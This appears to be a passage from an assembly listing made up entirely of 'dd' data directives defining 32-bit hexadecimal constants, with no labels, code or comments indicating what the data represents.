dd 0EC5218AFh, 0C1BC1D1Dh, 0B9DE8A75h, 0C7AA20C4h, 4A049297h
dd 0F49624C6h, 4B36837Bh, 9F1CAD0Ch, 0B84B25EAh, 4DC47597h
dd 51D0D5F4h, 3B7E1C2Ah, 14F467FEh, 289A870Bh, 3006255Ah
dd 7B654219h, 33790813h, 39E9DAE8h, 0CD69778h, 0CA18B116h
dd 0BDF128A7h, 0B146C3A6h, 1DB93714h, 3666818Ah, 0CB5D8799h
dd 22172B94h, 0C9810F9Eh, 0F729BA46h, 3E5D8958h, 0CAE3DA51h
dd 5BA5A9F7h, 43C9270Bh, 410C4C6Dh, 23C8683h, 841628C6h
dd 53531AC6h, 63F614C5h, 0F5A83135h, 62AD299Ch, 0DDC9E0BAh
dd 3831BB37h, 0A5FE6B47h, 1BFAB031h, 8C63C75Dh, 0BC3E71C7h
dd 371748B9h, 8F620D72h, 0B6258FBFh, 3A78405Fh, 0FB00EC8Ch
dd 0E654635Ch, 56FB1E09h, 49761959h, 0D9B1922Eh, 0B161D576h
dd 0D12DF4E9h, 222DD99Dh, 927A78ADh, 7AFED1C2h, 98D31DC5h
dd 381AC553h, 4F2A9CA8h, 105EBD8Eh, 0C5625244h, 1A212D98h
dd 93E8FE02h, 17F2DA8Ch, 0FE8D9ED4h, 3F00D27Bh, 1843C9B4h
dd 82009F87h, 6920B82Ch, 4083E1CAh, 7C416821h, 4FC1A868h
dd 971B8F36h, 0C6A7634Ah, 0F8D61300h, 82BDAB34h, 0EE666138h
dd 6D1DFE56h, 63A7E0h, 9109498h, 36F48494h, 9F24EEE0h
dd 0A54F4705h, 78BA001Dh, 72FD8F8Ah, 0C6302BABh, 1E422340h
dd 0A8632CEEh, 0BCD7D1C0h, 0A6660D5Ch, 2E3A3C92h, 8D6483B9h
dd 0BBC0B793h, 0DB257106h, 106ABA54h, 45C0130Fh, 53AF7103h
dd 7B19B9Bh, 0FEA28D10h, 0A6D105AFh, 684015A2h, 49441FC1h
dd 0C9519E82h, 6782D822h, 705FCFEh, 7015C04Ah, 0DFC27138h
dd 0B1AB4506h, 0F9668F8Dh, 3AD24CD3h, 0CC4C12CFh, 0A9B67DBAh
dd 0F35A8D73h, 9EB953D1h, 21D1D8FAh, 44914838h, 4B7E2212h
dd 42B80794h, 49B18EDh, 6406262Ch, 3C0B8F0Fh, 3E88A4F3h
dd 7E36CBAAh, 7944274Ah, 0D3B08E8h, 0E67E703Dh, 0D1B218ECh
dd 472FDD8Dh, 0CE454135h, 769E49C1h, 980427DFh, 0D344C20Bh
dd 0F45DD6D3h, 0DC517CB1h, 85481AD9h, 0FAA4DCA0h, 84063059h
dd 4D8B831Fh, 0C09424Ch, 0E309FEF1h, 123C1843h, 0BFD83191h
dd 0ED180CDDh, 0F99F5127h, 2D2A86F4h, 0B9C91D0Eh, 0C324DB0h
dd 768347E4h, 32160C9Bh, 3924E1A4h, 0DB7FA4F2h, 0EE4DCD0h
dd 0DFFF60Fh, 0FD1771D2h, 0D7AB30B6h, 4BFFF8D4h, 0D6C94FFBh
dd 0D250A2C5h, 0C2E62452h, 0CB217D6Dh, 37E73F2h, 9E4230E3h
dd 6FD3E251h, 49A84A18h, 697770F8h, 0FD36777Dh, 0DC2B98E5h
dd 0FB0945D6h, 22C83D42h, 194DDC66h, 29E24628h, 0B5AAFC61h
dd 0D40009E6h, 91089BF0h, 0F41B302Ch, 21AAB398h, 0A579EB9Fh
dd 0FD9EDE54h, 4238568Ch, 8A89A10h, 0BB603D65h, 91820202h
dd 29CEDDA4h, 0CF71E518h, 0C40CCD78h, 9E78D617h, 0FD1EB9A4h
dd 8FF8BBDDh, 64EBAABEh, 0ADD0BD45h, 0B314B70Bh, 844D5D8Ah
dd 77B79992h, 324CAD91h, 0DCBA5F03h, 6028B82Bh, 1B75056Bh
dd 0EFD05784h, 0F5A4ABCFh, 0FBBA2FD9h, 0DB4FB8A6h, 8DBC02A7h
dd 0E5AE1883h, 0A8E05FCEh, 5A43C0A9h, 6D8FED74h, 0B003365Eh
dd 0F61D64E7h, 18F30D71h, 6644126Bh, 0AEA8556Dh, 0DF50ABE8h
dd 1CD6276h, 0DD29B482h, 0D52957Bh, 0A1FD685Fh, 0D06C53BDh
dd 51494E14h, 0DCC6CB9Ch, 75C6A72Dh, 3403F50Fh, 5071265Eh
dd 15D968D5h, 0F0F88C9Ch, 0E15EE6FFh, 507BB662h, 9D4C6E1Dh
dd 186230B7h, 50EE3B29h, 0DA6ED4E7h, 86C5FA42h, 7E7B245h
dd 9E90C5CAh, 24BFC1F6h, 0A3E514ABh, 0E4608D29h, 4D80DF04h
dd 0FD44D300h, 774601EDh, 0E01D7BDCh, 0B5BA7F64h, 0E017CA69h
dd 15579791h, 757CBDA0h, 0AB8732DCh, 89D1BF7h, 37E44F3Ch
dd 0F1B45ABFh, 97F2DFDDh, 1C9A2989h, 7AE3CCFCh, 0D41D6221h
dd 0DE272CA1h, 6A88458Bh, 1D9C47Bh, 0E0ACD037h, 0A7ED0C6Dh
dd 7557A9E3h, 0B8418E9Eh, 0B8435586h, 202699BCh, 7BF4D80Fh
dd 0D5D08F70h, 10178728h, 770A6B80h, 0C90DEB66h, 0E88B3D36h
dd 6E0EDF88h, 37EF01DAh, 7196EABDh, 1F1AB877h, 0E7DD7E81h
dd 208FC3B9h, 0C2C445B9h, 15DAEC40h, 6603DC55h, 0EC6577D6h
dd 558BB27Eh, 0E6B9A2C7h, 5786F774h, 447654FDh, 7A7ADAB2h
dd 7EDA6324h, 0BE2AFC12h, 46302980h, 1CD0DEECh, 57CF2E85h
dd 4AFCBDBDh, 1D4611C8h, 0ECCA3AD4h, 0BDE35A3Dh, 0C1D3F99Eh
dd 0AD8D6FF0h, 0B248C05Ch, 5C07418Eh, 5572EF27h, 325252A4h
dd 0CD8B833Eh, 5B2B3B2Eh, 9EB76AE3h, 0D2F8D35Bh, 832F6C09h
dd 9ADBC689h, 287CC5FAh, 0ED1743F6h, 6AEEF8BFh, 8E2AEDACh
dd 0D21B0765h, 8D98431Dh, 4CC4F49h, 0DF13C8B5h, 0FB04D722h
dd 2D7C3F9Ch, 4B9DF879h, 7AE7C4CBh, 15E0707Bh, 317911C9h
dd 0D775E510h, 0FDF0C48Fh, 0F8B8D298h, 63E2C4B3h, 4EA3803Ch
dd 1E9CA511h, 0F25352FEh, 0E87107F2h, 8874DEA1h, 7AF2E5CFh
dd 6222654Fh, 0F80446B0h, 0E63A2C2Ah, 0C05153E1h, 43CF73D6h
dd 0D2F8B37h, 0C38D722h, 6379E2CFh, 0CBDB4D25h, 633B6E8h
dd 6D094734h, 0FC5F9B81h, 40E3D527h, 0EB5DD58h, 0B6B68D5Bh
dd 219880ECh, 0AC0A544Dh, 0F5F43AA6h, 93A37488h, 0EC519067h
dd 942A4456h, 0EBACF716h, 76B8C1FFh, 0E310177Eh, 0C4FFBA15h
dd 551DCFDDh, 0C5380A86h, 0A531BA27h, 0A7C9F05Bh, 569D2103h
dd 56C4A066h, 0D3D1A3D2h
dd 3F0F2986h, 6B2F2796h, 0F79E755Fh, 0EFED72CCh, 0B56DAF7Fh
dd 0C0530E8Fh, 506852B1h, 0C57EA380h, 0D3B87FE7h, 0A64FE790h
dd 79D9EA49h, 0E5856BEEh, 0E6C0C1A9h, 8B43BBB0h, 36EC6FA3h
dd 340068B6h, 79B6BFE8h, 4EB18BE0h, 6AF5B206h, 2CDDEC7Ch
dd 0C331D410h, 901CEB88h, 70C62178h, 0EF357731h, 0ABCF1541h
dd 0DF3D977Ah, 0C132C207h, 153A1B93h, 0BCA92127h, 353C61F2h
dd 0B897C5D8h, 0F423B887h, 505F4E61h, 87D3083h, 18CD4C7Ah
dd 135986D1h, 0A8B59A2Eh, 72A5EAD5h, 0A5347186h, 7543F3Eh
dd 9AF45B85h, 2863031Eh, 13F2B76Fh, 0BE4796CDh, 0B48D8377h
dd 4FA659F0h, 0E3727C0Fh, 231E5BEBh, 7B22A529h, 0E8E58687h
dd 0B8E8D47Eh, 993536FEh, 0A0CC937Eh, 91754CFEh, 0DF5352C9h
dd 0C35A2EA2h, 439BF41Ch, 1AC85F37h, 44C910Dh, 0A10ACB58h
dd 0C5FA72D8h, 0D6AB2D05h, 0AEC6CB84h, 0ACAADE18h, 6557D5F7h
dd 271A8BE7h, 0B232D8E2h, 55489D34h, 1B8C32CEh, 5D23FAA5h
dd 215A7B4Ah, 7DE03AF0h, 4567FEFBh, 5B2B4FBEh, 746A51DCh
dd 38D1C587h, 3ABE8ED0h, 9DE88056h, 8C63FB8Ah, 290F66F9h
dd 932AEA9Ah, 54FA435Eh, 0C629F183h, 0DED661AAh, 2250E9Ch
dd 0A344CBF8h, 9E4240CCh, 66251900h, 0A811BD5Eh, 0EA48DF0h
dd 67E05342h, 0DF6F7E3Bh, 47769FE9h, 0C6910AF8h, 76604812h
dd 71DB6481h, 46B19F46h, 32079ECFh, 5B78182h, 0A4DE74D9h
dd 0D1D7D69Fh, 0CC039EECh, 1CE8F648h, 0D2CE9294h, 0CA8C1E7Ch
dd 0B3807208h, 113A403Ah, 73A4AC7Fh, 4F8E04AAh, 0D240739Eh
dd 8DC604E5h, 0BD1D9510h, 2748929Bh, 9F60D953h, 7F4DC5F1h
dd 777DFFA8h, 44F55CEEh, 0FF4F0B4Bh, 6DEAD84Fh, 49440849h
dd 0E8AD5218h, 0FF2B009h, 8A36AAE0h, 4AD4DFB2h, 1DD11BA4h
dd 95A9AF11h, 0D9D94F0Dh, 76E1019Bh, 2EFB47E5h, 2B3686Ah
dd 10243FBCh, 8A24C243h, 7A445546h, 0A21A092Fh, 2E5A6940h
dd 4DCA0627h, 0F9F522CEh, 0A8F6CB8Eh, 63420ECCh, 482716FDh
dd 927F994Ch, 4AAB9203h, 0DCD56CDh, 0A8FEBFBAh, 2F3C31D3h
dd 0F9652D0h, 0A2E21CACh, 0D2776BEAh, 3E9C9D2Eh, 0FD520E54h
dd 6CCBCB5Bh, 75C319C3h, 6DEA5135h, 6E14EBFAh, 3D28D0ECh
dd 19EC7F85h, 0BB3883C9h, 0A95B5ADDh, 819B08A9h, 39E2D3AFh
dd 9B865716h, 0C6E98A96h, 958A04FEh, 0DF41B2ACh, 9573E008h
dd 3160C79Ch, 5D13DCDh, 4C6DA1B5h, 0B87AEB24h, 0EA2DDD8Eh
dd 864E20D0h, 2F64CA02h, 0EA47CE65h, 0CAA9E3E2h, 59ADF130h
dd 1827E46Eh, 6367F1E7h, 30BE326Eh, 49615DCEh, 7AB16886h
dd 0A5FD0E9Ah, 725D101Eh, 5C72EDD0h, 60716475h, 0D2E97023h
dd 3AC097CFh, 0B637E7F3h, 0C2A249FAh, 60340251h, 66C01BA5h
dd 61ACA298h, 727328D9h, 0C5122248h, 1B816606h, 68B5C02h
dd 7BA2354Bh, 987C3014h, 0D5C61CE3h, 0A3EF4011h, 7E1915E0h
dd 310A6DD7h, 0E19B8100h, 74576EC3h, 0A6784FD6h, 95483083h
dd 2B355F83h, 5461DCD0h, 5EDD8A03h, 0D5FC44F5h, 0CBA6F1F1h
dd 44FB69E4h, 142CB511h, 6870B4DFh, 84ED0EE7h, 0E2E450CFh
dd 47130FBFh, 129E909Fh, 79BC6B1Eh, 6B251495h, 0C1CA8C85h
dd 9F59BF95h, 9973AB39h, 60AE0538h, 53E67D0Fh, 797B96FBh
dd 228D2F4Fh, 0BBFFDEDDh, 0F03E7975h, 3D12A3C3h, 1F11B7DCh
dd 580BF1DEh, 87F80BD3h, 0FF3FD011h, 966AC382h, 0A4F7E4F6h
dd 0A8FD2066h, 10807632h, 0CA6B5083h, 2E9E4B42h, 21ACE69Ch
dd 95559E8h, 932E7451h, 3423C928h, 8E73A5CDh, 2586AFB3h
dd 15D2167Ah, 0CE5F107Bh, 30ADAC11h, 0EAB34387h, 3011881Dh
dd 0A73F01B6h, 95D620Bh, 5D4AF296h, 0D1A47DB4h, 6E091963h
dd 97DE8170h, 7D22DB02h, 0EEC58E08h, 808F0053h, 0BD0EA2C8h
dd 486CD367h, 723DCB29h, 30343C3h, 83D63421h, 8E98B1CDh
dd 0B48543FCh, 2728F50Eh, 0A54E7946h, 4BD3C12Bh, 21ED700Bh
dd 0CBA5CFF3h, 2D266934h, 51275379h, 60A3F448h, 0E05AA352h
dd 5AA54CFFh, 51CEE4A2h, 7D18DFADh, 0F181FA0Bh, 0BE89F76h
dd 9B32B8C2h, 3783766Fh, 0CF484AE8h, 2AEC64ACh, 18E8C9D7h
dd 0AEA3F4F7h, 5701748Ch, 0DA77FB12h, 4C2381C4h, 0A1A0D741h
dd 0EEF37C41h, 4194D178h, 94EA26AFh, 69AD5771h, 0E223A6DCh
dd 2140847Bh, 95EE5619h, 941AF9C9h, 79929434h, 0A1D4ECD4h
dd 0E82F3724h, 0C270EF12h, 0ECDD07AAh, 44B8FC6Fh, 8F95C315h
dd 57DEA7E7h, 0CA9ED51Dh, 0E0CDB2DFh, 0DEFBB2BEh, 0E5AB5ED8h
dd 0C74B2E02h, 0C97AFD8Ch, 9165CBF5h, 628E372Ch, 7E60929Ah
dd 5557C6D0h, 0EC0B0CD4h, 0C2EA2754h, 0E3D77FABh, 899125D2h
dd 0F0A7FB8Eh, 0CC30004Ah, 0FC8B7264h, 8C184995h, 6DDBA948h
dd 0AB7E74Ah, 6FAD650Ch, 0CB052A63h, 0C940853Ah, 0EF3BE661h
dd 9124A6DAh, 0F755A65Dh, 0C1DF77E7h, 0B890AAB0h, 9372590Ch
dd 0AB65A332h, 6C4E1A66h, 59DE9964h, 88937229h, 7F2C4B49h
dd 0CEB86AB0h, 364D43D1h, 9E5AC260h, 0D2BC117Fh, 341FBAC0h
dd 0BB1C3A66h, 0EF32900Bh, 0A0D7945h, 92B2B4AEh, 0E37B0178h
dd 60626FDCh, 7E2CCF5Eh, 0C4CBF55Ah, 37A7185Ah, 9BF300CEh
dd 64562F23h, 5754998Ch, 0E956317h, 0B17A1E85h, 1EB114DDh
dd 0DE013DF1h, 7CB04D86h, 9D053C6Ch, 92E1640Dh, 18084286h
dd 29113193h, 0AB55B1ADh, 0AFDE492Ah, 0E8C03BFh, 256D9393h
dd 0D23BDF91h, 0E3F447D0h, 0A3512481h, 7A832C04h, 75914F7Fh
dd 0EC481E0Ch, 5F536847h, 68FDEDE8h, 0A1ED7CB7h, 575B5EC0h
dd 0C5CB19C3h, 2DC2D829h, 0BAD664D8h, 3702B62Ch, 3DE9BB85h
dd 0EBEAC21h, 0D6DE9831h, 0CEB55800h, 543B67ADh, 7EAA7719h
dd 0F3B50E56h, 7D783D8Fh, 8DEADAF3h, 11A71C32h, 28E4DAE5h
dd 0C5E0021Ch, 3E07F6CCh, 8F484860h, 944603FDh, 0C4933904h
dd 80EBE1A0h, 0B1A4939Dh, 9ECCBA82h, 0A2558C56h, 0FA76ECB9h
dd 419C6611h, 0F17EA93Fh, 0EC4BE5F4h, 0CC5367D9h, 0A709F25Bh
dd 4FE11D8Eh, 2ED9A14Bh, 0CCF95701h, 0ACDE90A3h, 9BEF5C07h
dd 9A5C4459h, 0CDCD93FEh, 0D7B3C93h, 0A919E694h, 8A7E44A5h
dd 0CD72E69Ch, 62D5E8FDh, 0CEDC25BDh, 79C8C90Ch, 706BF89Bh
dd 0BD03B437h, 0BFCB9250h, 6AED62C3h, 88FD4260h, 687F119Dh
dd 0AD717994h, 1F74F8BAh, 7C552A06h, 619B5233h, 592F2BA1h
dd 657DAE57h, 0CA8C432h, 19C1F477h, 0BAE92FBBh, 784C92B1h
dd 33129E16h, 0F04CD884h, 0F720E7C2h, 7CF2CE48h, 6D4100EFh
dd 0A43A43Fh, 3659FEC9h, 5CF8BB21h, 0BEFFD71Ah, 8C482457h
dd 545D6A58h, 0CE8BCD8h, 66C514EFh, 48145FA0h, 551F9526h
dd 7BE57A41h, 919897CBh, 96ADF05h, 5419F97Ch, 0C064E44Fh
dd 0DF627E08h, 1FA95052h, 7586D88Eh, 906A9EB9h, 79579055h
dd 0AD665716h, 809B867Ch, 23938696h, 0CE1AE83h, 11EF34F9h
dd 3802BCADh, 13BB5764h, 5FABC14Bh, 0A8558762h, 845A3518h
dd 0F94C7F1h, 3D0D8EC4h, 0E4966306h, 2E146012h, 1E2BE808h
dd 0B7AEE8Bh, 0FDC72C23h, 4C1026B9h, 4A683A44h, 48FC359Ch
dd 0C9299CCBh, 673A098Bh, 0BB0B92Bh, 0FB44CEC7h, 0AD68468Eh
dd 951718D7h, 57DCA16Dh, 6254A785h, 64B8A5F0h, 0DFF9BEDAh
dd 0CC726B47h, 5A51BA21h, 39EBCFAh, 75B9D9Fh, 1415437Eh
dd 4ECCD765h, 505C0EC0h, 6EB51FEFh, 6CCB47CAh, 95824642h
dd 0ED79C09Fh, 0D1E791Dh, 0A3F10677h, 40CD4E34h, 186CBD46h
dd 7BE833CBh, 28458F6Eh
dd 602238DBh, 0D0766D93h, 0B930A8CAh, 4BEC408Fh, 11E31D38h
dd 33356DD8h, 0D1BAE083h, 1CD8B29Ch, 408F6667h, 8B17CF7Dh
dd 0CBD29454h, 5C203996h, 0A1A90A01h, 8E858472h, 69DAE7CFh
dd 8425A76Ch, 265D8556h, 978712Fh, 3C657BA5h, 0F48416A4h
dd 4CB4629Dh, 2090E050h, 0B787D213h, 0ACC226B2h, 7E8E2B52h
dd 0FFEFF4F3h, 7DEFB477h, 264D5CD2h, 60038D98h, 0F050AF9Ah
dd 659F9172h, 8F7B3C42h, 0CEE0A4AFh, 3027F0D8h, 0E45AB391h
dd 7663DA77h, 0ADC7B79Ch, 0F2E67F97h, 0AE4EB053h, 8AB40D46h
dd 8043F409h, 98B6FB27h, 0B57DEAD2h, 0A6615C45h, 0F8F631F4h
dd 8C7FC16h, 0EBA6A60Dh, 91E7AA9h, 0B2ADB17Fh, 0D558E6B2h
dd 3F5F4936h, 1BE6A5A8h, 8EB3C067h, 92157971h, 0EF22FC13h
dd 42F9FF7Bh, 46EAC75Ch, 0A9D50C37h, 2C2DD63Eh, 0D516C940h
dd 7068328Ch, 82935726h, 0E120AE19h, 758EEB56h, 0CDFE82Eh
dd 7D0CEC93h, 13654006h, 3877C0h, 0E9441952h, 0CEE5A05Ah
dd 7EEB27FEh, 0BEBC8D47h, 0BAA26105h, 80175973h, 0B359E537h
dd 0F095146Bh, 0AED9E0EFh, 0E9953B44h, 5B550301h, 41BE0786h
dd 89E6AC6Ch, 0B251408Fh, 0D1747024h, 38F70CE1h, 0DF21D12Ch
dd 0E0470682h, 173A79F3h, 61632C89h, 9EB1AC2Ch, 2CD25553h
dd 3A49FB3Dh, 0D4B27F45h, 755A9141h, 6CBADD46h, 4DF0475Fh
dd 0CAD5DFD6h, 0E9E46DDFh, 25B860E4h, 383F82C4h, 39A906C9h
dd 89CE4538h, 0D80ADE9Ah, 7BA942CDh, 6C9DC343h, 0C81B70DAh
dd 0F014F2A9h, 1D2D3DB8h, 0EE47014Ch, 0C88E74Ch, 0E75A475h
dd 16D38F61h, 289A65A9h, 4F34162Fh, 33734490h, 38B7FB91h
dd 0CCED80C6h, 19036185h, 0DD7CE8FFh, 87A00ED6h, 0BA003355h
dd 94A09301h, 1E3B2014h, 6D66808Ch, 977FCA5h, 3A5FF363h
dd 0F6588B01h, 198379F2h, 0C658A71Bh, 0B6A5B429h, 3E2C3D1Ch
dd 8376B18Bh, 32949D42h, 0FF72D8BFh, 0BD96FFFDh, 0E99E2ED0h
dd 0B1742CBDh, 2CA57420h, 6069373Fh, 0AD2C1998h, 0D969B436h
dd 0E6BCADFEh, 8332B4D6h, 6EEA0311h, 20B1E01Ch, 0D076CA28h
dd 0D402ECE0h, 481E9FE5h, 0A45B7FBCh, 0F70B4FDBh, 0AFA1700Bh
dd 9810785h, 0CE5A6D4h, 2DEB8640h, 0B918888Ch, 0E1FB3FB8h
dd 0B6A9BD85h, 0F4FCC8CEh, 9F3D430Ch, 3A77BCFDh, 599CD45Dh
dd 913B98C4h, 0BD75111Fh, 746B1C52h, 0EFD08DA7h, 6177D0A9h
dd 19CF16F0h, 30CB191Eh, 43685B68h, 3950B99Ah, 671B67ADh
dd 0EF75B4AFh, 0E9C60557h, 0B03C94A3h, 47CF423Fh, 4003562Eh
dd 8DC20303h, 0DA35B3D6h, 0DFC780B6h, 5DC7A4BFh, 61F9B7D8h
dd 82822658h, 24A354D9h, 46F30586h, 6A131325h, 0F03D69DEh
dd 0BF8E630Dh, 0F93F36C4h, 9FD0F50Bh, 1BC6670Ch, 11863E2h
dd 0EB7BDE2Eh, 0E978B6E4h, 76AAAD24h, 8DC15C9Eh, 50EF63BCh
dd 0F20357ECh, 6B71B864h, 782E4FEDh, 52F0B0DEh, 917FE7Dh
dd 0FBAE5C25h, 7D9A2078h, 78C1CDD1h, 7D0A0122h, 2FEF2BC5h
dd 87625D4Ch, 4FCCC2h, 0D300B1A6h, 0CA64A7D9h, 4C66C214h
dd 2508F573h, 4C3D0CC8h, 3E0431h, 0E0C2927Bh, 8D47CC7Eh
dd 0DF48613Fh, 91C03539h, 74F9F389h, 6F058364h, 0B0C8D7D0h
dd 0A45FA032h, 4F20B005h, 9045076Fh, 6C9A7397h, 4F962E0h
dd 0F8CAAA20h, 19DC959Bh, 0E39864BCh, 44B158F4h, 0A0DAB667h
dd 0AB5A4B94h, 23A45830h, 0F3BB24A4h, 0FE5E2B99h, 3C6EA04Eh
dd 0BF3CC4BAh, 61D9C864h, 1E3BB69Dh, 0D3708703h, 570374FBh
dd 4AFD6637h, 0C5E47702h, 0D2EC6DFDh, 261F48Fh, 0EF05A22Fh
dd 1AE8BE09h, 98842A61h, 0A01768FEh, 0AB1F945h, 34C83402h
dd 0B7F3706h, 4556D31Bh, 14109D56h, 32F852EDh, 0F0635169h
dd 0B0F5DD5Ch, 1AD1DAE3h, 0A32DE2A3h, 1DC2A4FBh, 2E0B4EEEh
dd 74663E68h, 0A9299E15h, 0A1692492h, 0C1271F1Bh, 32F3BD6Bh
dd 49E52AE6h, 24E6E739h, 89238196h, 37D208A3h, 0C5D8003h
dd 0DC17E38Bh, 1E157EADh, 282B13BBh, 0F432932Fh, 0E9DBD62Ch
dd 59D1243Dh, 5AFBDAFEh, 85DBCFE4h, 0C44A0A85h, 0FF4EA906h
dd 8BEF6021h, 8C93E9Ah, 78484382h, 1ADF4D68h, 5CD69C0Dh
dd 71C04C9Fh, 0C4E24700h, 35A79C77h, 4B59DC76h, 0FCCBD478h
dd 865BE45Dh, 0F2273ADDh, 0C1728BD5h, 8C24B16Ch, 0FB7CDDBAh
dd 74AA61C9h, 0BC705BDFh, 0A0699296h, 3F042222h, 2A87882Ch
dd 0B89C4551h, 5D07FCC9h, 962CB010h, 15D466F3h, 0F3A3D64Dh
dd 5A8563B8h, 9038B6ACh, 4F17DCFAh, 0AFC39F41h, 0D225C2F7h
dd 40DFE4CBh, 1689A7E9h, 66D169ECh, 1B2B18C2h, 0D3F77D9Bh
dd 976B1010h, 2FD71A64h, 5E3112A1h, 52F4AA86h, 0CE3E05D2h
dd 0AC8AFA5Fh, 1FD2310Ch, 558FF75Dh, 998C60A0h, 3AB3ABBh
dd 0C05A90Fh, 0A5FC3647h, 8E6B751Ch, 823AF14Fh, 0BE779391h
dd 0F59D2011h, 43D1B9FFh, 0E1E8839h, 6B144D5Dh, 0B42BF5CCh
dd 92BCD190h, 0FF919F86h, 279877Ch, 13F8070Dh, 4FB00544h
dd 67CB3666h, 16D2E87Ah, 0D4AB3DECh, 64C5DF58h, 71DA36F1h
dd 76E4FE42h, 0C2682FA0h, 24CBF778h, 404E501Ch, 567AF0CAh
dd 99E51E6Bh, 0FBD6A448h, 7607B1C1h, 476328EAh, 7EE8239Dh
dd 0A5DF44F8h, 0B8E107FDh, 0AA3AF083h, 3F2CB855h, 435926ACh
dd 4218B1B9h, 7BB7F747h, 91CCE144h, 6B45E3D1h, 4C0ACB3Ah
dd 0F81BE88Bh, 9E73D123h, 4F6344DCh, 0B18F6886h, 420C9846h
dd 79D62341h, 6148459Bh, 6B7A0FE5h, 0D3E5948h, 0FEC62AD7h
dd 0D41EB288h, 503B13ECh, 8F1D76A6h, 4F1DE35Dh, 0DAAAFE2Ch
dd 0C7F00BE9h, 0BDD32DB6h, 906B05BBh, 39BDBEB9h, 0EC853749h
dd 0E46EB880h, 1DB1A56Eh, 599FC877h, 73D31C51h, 0E51C832Eh
dd 8A1650B7h, 4ACB403Ah, 5D8C3E4Fh, 0F55E0C56h, 74345423h
dd 89F1CA4Dh, 8FD9EDB9h, 2A28033Eh, 0A7EAE370h, 1197C2E8h
dd 8DDAFFEEh, 0FA7B5816h, 0F85680AAh, 1E468EFAh, 0B7511152h
dd 0C12ABAF6h, 301CCF88h, 6AD8F89Ch, 54C1A1A0h, 8581D402h
dd 3B599E24h, 0E492EC6Dh, 6BD6A85Ch, 786B7E12h, 6FA7F99h
dd 48E784F9h, 0C4407256h, 0A48987Ch, 9146D17Fh, 0FF8D43DEh
dd 7B4F18ACh, 9D8F0F0Ah, 0CE52D99Ch, 72C66759h, 0B5BF4886h
dd 61017CD2h, 0C27DAECAh, 2FF48AF7h, 4905210Ah, 3E20CCBh
dd 59C691B8h, 3EE133A7h, 5BC65C70h, 0D2BEDC2Ah, 19B72107h
dd 0D9884FD2h, 6C4F4DFEh, 22059C9Dh, 0AB1BAEC9h, 5E1EF439h
dd 0A6545037h, 4B12988Eh, 5154A1CFh, 0A03F39DDh, 1C219401h
dd 6F90A2F1h, 4534C7A5h, 96BE56B0h, 31FA658Ch, 89F1DAFAh
dd 7A1C2228h, 1F8D18B9h, 7F512C25h, 85995645h, 0E8241288h
dd 19DDE09h, 37D73C68h, 4917CBDAh, 29A9006Ch, 301D01E3h
dd 0A9328235h, 0A7A4EAAFh, 0ED3E097Dh, 0F8FF122Fh, 0CB43B446h
dd 0E37A38E6h, 5DF7D50Dh, 0F3653363h, 0C2B49699h, 326DDE87h
dd 0D7A9A33Eh, 23443F3Eh, 0B1596A5Ah, 363F4532h, 0FD09201Dh
dd 6F17C00Bh, 2223A1E4h, 3C61DBD4h, 0FA755125h, 239B5CC3h
dd 1B705DCBh, 92C3BF5Fh, 0C018F299h, 36D325EDh, 0D5E47063h
dd 0E573B9A2h, 72A62106h, 18F95574h, 4032E57Fh, 0B7EE83B3h
dd 395524DDh, 7C547A91h, 0C87E23C2h, 667A1144h, 8BB60AB3h
dd 99A12E9Dh, 4783929Ch, 5FFA58E5h, 916D8675h, 0E63459D6h
dd 56A73191h, 26891057h, 904615D3h, 0DC4D9BBh, 0E4AE8430h
dd 888E5E81h, 0C3661CFAh, 7D1DC72Eh, 0AC77B01h, 0D656B09Ch
dd 6C5A1128h, 0A2B0DA59h
dd 91F2645Bh, 78EDB03Fh, 644F56A0h, 12CEADDBh, 0A4C335h
dd 0E607718Fh, 0EC14EF89h, 2C80D252h, 0D4DBFDCAh, 22473CF2h
dd 80D66095h, 0F9DFB6Fh, 913071E7h, 89B620B7h, 41B2FFB6h
dd 847FA772h, 15DBB5C5h, 0F3F648F3h, 8AFDBEECh, 10DA8350h
dd 4338B3BDh, 0B4E3FD3Dh, 8EB668A2h, 1EC515A5h, 0BA2C7798h
dd 10AC0EDh, 0D16CB257h, 70604F23h, 5800240Fh, 0CC5D3BA2h
dd 7B5F396Bh, 1AA0557Fh, 0E6ACDE79h, 15C65290h, 151D7612h
dd 0D896AD55h, 0C1803D86h, 0D2FA2C9Bh, 0AEE5C69Fh, 130DFC8Ah
dd 2ABD4641h, 22C74ECDh, 0AB8ACFF3h, 0D76774B3h, 5F561CF6h
dd 5EB52B7Ch, 7F0229A7h, 0A7022323h, 0FDB0AAEAh, 0F536C84Fh
dd 0A9A34B20h, 94DAD528h, 0FD18A64h, 87F20Ch, 0C256AE54h
dd 26C20D3Ch, 2E8DB115h, 111299B2h, 7461E6D4h, 3929E130h
dd 216AF0CCh, 0F1879E7Bh, 0D669DA47h, 0EAFE970Eh, 2DBC06E9h
dd 0D94AFF6Bh, 0D0E2DB69h, 0DD41D20h, 58407AE7h, 0FFFA1474h
dd 3371DFCDh, 54A8292Dh, 6FB12C27h, 0FC14B7Eh, 8DE30415h
dd 0BDC894F2h, 0C913CA9Eh, 868BF480h, 0E6B55C8Fh, 0DC467FE9h
dd 0DA4CCF81h, 9BCE11FBh, 0D1042404h, 380141CCh, 579E6E51h
dd 7E59BB64h, 7C620584h, 64D080D3h, 0DB315463h, 1549FF18h
dd 54B30D65h, 90B12FEEh, 1DF6D751h, 48CB5352h, 0C111F7B1h
dd 0F40F00ABh, 0DBE0F5BAh, 6DF6D16Dh, 32B2D8E1h, 0DA13E743h
dd 80EE694Eh, 7C9732F2h, 32962176h, 0C1F9AE04h, 76683A9h
dd 0B8852D0Ah, 1F1C9432h, 78105EBFh, 23873005h, 671BE07Dh
dd 0DC7CB9Fh, 0EA5C4F3Eh, 6A1A485Eh, 0CAFC269Ch, 96EE2A46h
dd 4D3CB77Ch, 0C1E09BBh, 89215587h, 69C647D5h, 851F7E22h
dd 7A6C8D11h, 0D8E6EAF7h, 0BC230A4Dh, 0D1C04BCDh, 8799CA12h
dd 49DE27D0h, 0F62E3450h, 0D662E9D5h, 0D2098606h, 6C43F4BBh
dd 651A813Fh, 1111344Eh, 0AB61AE1Ch, 5DCEDF2Ah, 0C264F476h
dd 35BF2C8Bh, 3CF3274Dh, 0A9016274h, 586912B2h, 2EA28143h
dd 2B4DAA9Fh, 40D6BC52h, 98EE814h, 74B87D46h, 8A4FFAD4h
dd 78BDE426h, 2251BA9Fh, 0F152965Bh, 5192F622h, 80815FA8h
dd 275FBFEFh, 0A03DA6B2h, 1FA23140h, 0B5E9BAACh, 71CA49FDh
dd 0F058D79Ch, 0FAF976ECh, 6E58344Dh, 0C438CA89h, 13BD8232h
